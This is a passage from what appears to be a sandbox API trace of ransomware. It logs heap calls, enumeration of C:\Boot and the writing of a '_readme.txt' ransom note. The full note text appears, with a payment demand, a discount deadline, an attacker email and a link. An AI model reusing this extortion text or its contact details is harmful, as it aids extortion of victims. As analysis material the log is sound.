Size=0x830) returned 0x3ad88e0 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.143] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae2210 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae2210 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae2210 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.144] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.144] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.145] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.145] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.145] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.145] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.145] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.145] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.145] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.145] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.145] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.145] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.145] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.145] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.145] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.145] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.145] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.145] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.145] PathFindFileNameW (pszPath="") returned="" [0124.145] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.145] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.145] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae2210 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.145] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.146] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450250 | out: hHeap=0x810000) returned 1 [0124.146] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.146] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0124.146] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.146] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450250 | out: hHeap=0x810000) returned 1 [0124.146] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0124.146] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae2a28 [0124.146] lstrcpyW (in: lpString1=0x3ae2a28, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.146] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.146] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.146] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.146] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.146] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2a28 | out: hHeap=0x810000) returned 1 [0124.146] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.146] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.146] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.146] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450250 | out: hHeap=0x810000) returned 1 [0124.146] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.147] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x31db63e0, ftLastAccessTime.dwHighDateTime=0x1d643ed, ftLastWriteTime.dwLowDateTime=0x31db63e0, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="BCD", cAlternateFileName="")) returned 1 [0124.147] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x31a4a440, ftLastWriteTime.dwHighDateTime=0x1d643ed, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0124.147] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0124.147] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0124.147] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0124.147] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x1c) returned 0x3450200 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502f0 [0124.147] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.147] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450250 | out: hHeap=0x810000) returned 1 [0124.147] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="da-DK", cAlternateFileName="")) returned 1 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x38) returned 0x3463888 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502c8 [0124.147] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34502f0 | out: hHeap=0x810000) returned 1 [0124.147] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450200 | out: hHeap=0x810000) returned 1 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450200 [0124.147] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.147] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450250 | out: hHeap=0x810000) returned 1 [0124.147] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="de-DE", cAlternateFileName="")) returned 1 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x54) returned 0x3459f88 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502f0 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502a0 [0124.147] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34502c8 | out: hHeap=0x810000) returned 1 [0124.147] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450200 | out: hHeap=0x810000) returned 1 [0124.147] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3463888 | out: hHeap=0x810000) returned 1 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450200 [0124.147] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450070 | out: hHeap=0x810000) returned 1 [0124.147] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="el-GR", cAlternateFileName="")) returned 1 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x70) returned 0x3437008 [0124.147] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502c8 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450278 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.148] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="en-US", cAlternateFileName="")) returned 1 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xa8) returned 0x342a1b8 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502a0 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502f0 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450408 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450430 [0124.148] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="es-ES", cAlternateFileName="")) returned 1 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.148] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xfc) returned 0x347b558 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450278 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502c8 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450458 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450480 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34504a8 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 